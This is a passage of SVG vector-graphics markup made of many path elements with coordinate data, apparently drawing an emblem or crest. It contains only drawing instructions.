d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1